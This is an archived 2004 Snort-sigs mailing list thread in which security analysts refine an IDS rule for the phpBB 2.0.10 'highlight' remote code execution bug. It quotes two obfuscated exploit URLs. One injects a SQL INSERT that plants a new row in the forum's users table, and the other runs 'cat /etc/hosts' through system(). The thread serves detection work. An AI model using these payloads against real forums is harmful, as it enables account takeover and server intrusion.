12-01-04 10:46 PM
<div>This rule will only catch system command execution attempts and not
sql injection. </div><br /><div>The following is an example of sql
injection:</div><br /><div><font face="Times New Roman" size="3"><a
href="http://victim.com/phpbb2/viewtopic.php?t=1&highlight=%2527%252emysql_q
uery(chr(73)%252echr(78)%252echr(83)%252
echr(69)%252echr(82)%252echr(84)%252
echr(32)%252echr(73)%252echr(78)%252echr
(84)%252echr(79)%252echr(32)%252echr
(112)%252echr(104)%252echr(
112)%252echr(98)%252echr(98)%252echr(50)
%252echr(95)%252echr(117)%252echr(11
5)%252echr(101)%252echr(114)%252echr(115
)%252echr(40)%252echr(117)%252echr(1
15)%252echr(101)%252echr(114)%252echr(95
)%252echr(105)%252echr(100)%252echr(
44)%252echr(117)%252echr(11
5)%252echr(101)%252echr(114)%252echr(95)
%252echr(97)%252echr(99)%252echr(116
)%252echr(105)%252echr(118)%252echr(101)
%252echr(44)%252echr(117)%252echr(11
5)%252echr(101)%252echr(114)%252echr(110
)%252echr(97)%252echr(109)%252echr(1
01)%252echr(44)%252echr(117
)%252echr(115)%252echr(101)%252echr(114)
%252echr(95)%252echr(112)%252echr(97
)%252echr(115)%252echr(115)%252echr(119)
%252echr(111)%252echr(114)%252echr(1
00)%252echr(44)%252echr(117)%252echr(115
)%252echr(101)%252echr(114)%252ec
hr(95)%252echr(108)%252echr(101)%252echr
(118)%252echr(101)%252echr(108)%252e
chr(41)%252echr(32)%252echr(86)%252echr(
65)%252echr(76)%252echr(85)%252echr(
69)%252echr(83)%252echr(32)%252echr(40)%
252echr(39)%252echr(57)%252echr(57)%
252echr(57)%252echr(57)%25
2echr(57)%252echr(39)%252echr(44)%252ech
r(39)%252echr(49)%252echr(39)%252ech
r(44)%252echr(39)%252echr(122)%252echr(1
01)%252echr(51)%252echr(108)%252echr
(111)%252echr(99)%252echr(107)%252echr(3
9)%252echr(44)%252echr(39)%252echr(9
8)%252echr(97)%252echr(51)%
252echr(99)%252echr(56)%252echr(51)%252e
chr(51)%252echr(52)%252echr(56)%252e
chr(98)%252echr(100)%252echr(100)%252ech
r(102)%252echr(55)%252echr(98)%252ec
hr(51)%252echr(54)%252echr(56)%252echr(9
8)%252echr(52)%252echr(55)%252echr(5
6)%252echr(97)%252echr(99)%
252echr(48)%252echr(54)%252echr(100)%252
echr(51)%252echr(51)%252echr(52)%252echr
(48)%25
2echr(101)%252echr(39)%252echr(44)%252ec
hr(39)%252echr(49)%252echr(39)%252echr(4
1))%252
e%2527">http://victim.com/phpbb2/viewtopic.php?t=1&
amp;highlight=%2527%252e<strong>mysql_query</strong>(chr(73)%252echr(78)%252
echr(83)%252echr(69)%252echr(82)%252echr
(84)%252echr(32)%252echr(73)%252echr
(78)%252echr(84)%252echr(79)%252echr(32)
%252echr(112)%252echr(104)%252echr(1
12)%252echr(98)%252echr(98
)%252echr(50)%252echr(95)%252echr(117)%2
52echr(115)%252echr(101)%252echr(114
)%252echr(115)%252echr(40)%252echr(117)%
252echr(115)%252echr(101)%252echr(11
4)%252echr(95)%252echr(105)%252echr(100)
%252echr(44)%252echr(117)%252echr(11
5)%252echr(101)%252echr(114
)%252echr(95)%252echr(97)%252echr(99)%25
2echr(116)%252echr(105)%252echr(118)
%252echr(101)%252echr(44)%252echr(117)%2
52echr(115)%252echr(101)%252echr(114
)%252echr(110)%252echr(97)%252echr(109)%
252echr(101)%252echr(44)%252echr(117
)%252echr(115)%252echr(101)
%252echr(114)%252echr(95)%252echr(112)%2
52echr(97)%252echr(115)%252echr(115)
%252echr(119)%252echr(111)%252echr(114)%
252echr(100)%252echr(44)%252echr(117
)%252echr(115)%252echr(101)%252echr(114)
%252echr(95)%252echr(108)%252echr
(101)%252echr(118)%252echr(101)%252echr(
108)%252echr(41)%252echr(32)%252echr
(86)%252echr(65)%252echr(76)%252echr(85)
%252echr(69)%252echr(83)%252echr(32)
%252echr(40)%252echr(39)%252echr(57)%252
echr(57)%252echr(57)%252echr(57)%252
echr(57)%252echr(39)%252ec
hr(44)%252echr(39)%252echr(49)%252echr(3
9)%252echr(44)%252echr(39)%252echr(1
22)%252echr(101)%252echr(51)%252echr(108
)%252echr(111)%252echr(99)%252echr(1
07)%252echr(39)%252echr(44)%252echr(39)%
252echr(98)%252echr(97)%252echr(51)%
252echr(99)%252echr(56)%252
echr(51)%252echr(51)%252echr(52)%252echr
(56)%252echr(98)%252echr(100)%252ech
r(100)%252echr(102)%252echr(55)%252echr(
98)%252echr(51)%252echr(54)%252echr(
56)%252echr(98)%252echr(52)%252echr(55)%
252echr(56)%252echr(97)%252echr(99)%
252echr(48)%252echr(54)%252
echr(100)%252echr(51)%252echr(51)%252ech
r(52)%252echr(48)%252echr(101)%252ec
hr(39)%252echr(44)%252echr(39)%252echr(4
9)%252echr(39)%252echr(41))%252e%252
7</a>
</font><br /><br /></div><p style="MARGIN: 0px">Harry Chemin, CISSP<br
/>Senior IT Security Analyst<br />Go Daddy Software<br />14455 North
Hayden Road, Suite 226, Scottsdale, AZ 85260<br />480-505-8800 ext.
4194<br /><br /></p><br /><br /><blockquote style="PADDING-LEFT: 8px;
MARGIN-LEFT: 8px; BORDER-LEFT: blue 2px solid"><br />-------- Original
Message --------<br />Subject: Re: [Snort-sigs] phpBB remote code
execution detection rule<br />(final)<br />From: "Alex Kirk"
<alex.kirk@sourcefire.com><br />Date: Wed, December 01, 2004 7:57
am<br />To: "Federico Petronio"
<petrus@activesec.biz><br />Cc: bleeding@bleedingsnort.com,
"Snort Signatures List"<br
/><snort-sigs@lists.sourceforge.net><br /><br />Federico,<br
/><br />You might want to have an additional rule that uses uricontent
instead <br />of content, to deal with obfuscated GET requests such
as:<br /><br
/>http://<victim>/%76%6...69%67%68%74=...<br
/><br />Also, consider using distance:0 as a modifier to your
content:"system" <br />match if, as seems to be implied here,
system will always be part of the <br />value of the highlight
parameter. This will force Snort to find "system" <br />after
"highlight=", adding a nice validity check to your
detection.<br /><br />Alex Kirk<br />Research Analyst<br />Sourcefire,
Inc.<br /><br />> Hello, this rule is intended to detect the
recently discovered remote<br />> code execution bug, it is similar
to rule 2001457, but there is some <br />> attacks I tested that
that rule does not detect and this one does <br />> (p.e. <br />>
viewtopic.php?t=2& amp;highlight=%2527%252esystem(chr(99)%2
52echr(97)%252echr
(116)%252echr(32)%252echr(47)%252echr(10
1)%252echr(116)%252echr(99)%252echr(
47)%252echr(104)%252echr(111)%252echr(11
5)%252echr(116)%252echr(115))%252e%2
527))
<br />><br />><br />> Rule:<br />><br />> drop tcp
$EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"phpBB
<=<br />> 2.0.10 Remote code execution";
content:"/viewtopic.php?"; content:"t=";<br />>
content:"highlight="; content:"system";<br />>
reference:url,secunia.com/advisories/13239;<br />>
classtype:web-application-attack; sid:100100; rev:1;)<br />><br
/>> Reference:<br />> http://secunia.com/advisories/13239<br
/>><br />> Thanks...<br /><br /><br /><br /><br
/>-------------------------------------------------------<br />SF email
is sponsored by - The IT Product Guide<br />Read honest & candid
reviews on hundreds of IT Products from real users.<br />Discover which
products truly live up to the hype. Start reading now. <br
/>http://productguide.itmanagersjournal.com/<br
/> ________________________________________
_______<br />Snort-sigs
mailing list<br />Snort-sigs@lists.sourceforge.net<br
/>https://lists.sourceforge.net/lists/listinfo/snort-sigs </blockquote>
-------------------------------------------------------
SF email is sponsored by - The IT Product Guide
Read honest & candid reviews on hundreds of IT Products from real users.
Discover which products truly live up to the hype. Start reading now.
http://productguide.itmanagersjournal.com/
________________________________________
_______
Snort-sigs mailing list
Snort-sigs@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/snort-sigs
[ Post a follow-up to this message ]
|